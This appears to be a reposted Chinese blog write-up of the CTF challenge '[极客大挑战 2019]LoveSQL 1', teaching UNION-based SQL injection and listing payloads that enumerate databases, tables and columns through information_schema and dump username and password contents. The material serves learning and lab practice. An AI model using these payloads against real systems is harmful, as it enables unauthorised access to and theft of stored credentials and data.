Java教程

[极客大挑战 2019]LoveSQL 1

本文主要是介绍[极客大挑战 2019]LoveSQL 1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

[极客大挑战 2019]LoveSQL 1

审题

又是一道SQL题,还和上面Easy_SQL是一个系列的题。

知识点

SQL注入之联合查询。

知识点详解

联合查询

基础讲解:

union联合查询定义是:可以使用UNION操作符,将多个查询结果,按行进行纵向合并。

基本语法

SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>

我们常用到的SQL语句有:

  1. 查询字段
1' order by X#  //X替换为数字
  1. 查询注入点
1' union select 1,2,3,···,X#
  1. 爆数据库
1' union select 1,2,database()#
  1. 爆表,只有一个数据库时
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

有多个数据库时

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
  1. 爆表的列
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
  1. 读取内容
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#

group_concat

其中,group_concat函数的作用是将查询到的每行结果合并成一行并以逗号隔开。

比如:

没使用group_concat时,用concat查询的情况如下

ID
USER
PASSWARD

使用了group_caoncat后的结果就如下

ID,USER,PASSWARD

information_schema

nformation_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。

所以我们将从information_schema数据库中找到表名和列名。

另外,联合查询还有有很多种查询方法,大家可以去自行查找。

参考博客:

SQL入门之第十二讲——UNION 联合查询

解题

  1. 进行SQL注入测试。当输入1'时发现有报错回显,可以猜测有SQL注入。

    image-20240114151208671

  2. 使用基础的1' show databases# 无法得到库名,我们使用联合查询。

    由上面的知识点详解的步骤开始解题

    1. 查询字段,从1一直尝试到4,发现输入1' order by 4# 时出现报错

image-20240114152452448

  1. 猜测其有三个字段,查询注入点
1' union select 1,2,3#

image-20240114152908158

通过回显可以看出2,3都是注入点。

  1. 爆库名

    1' union select 1,2,database()#
    

    image-20240114153051216

  2. 爆表名

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
    

    image-20240114153617445

  3. 爆列名

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
    

    image-20240114153812750

  4. 爆这个列名中的所有内容

    1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
    

    得到flag

    image-20240114154228516

这篇关于[极客大挑战 2019]LoveSQL 1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!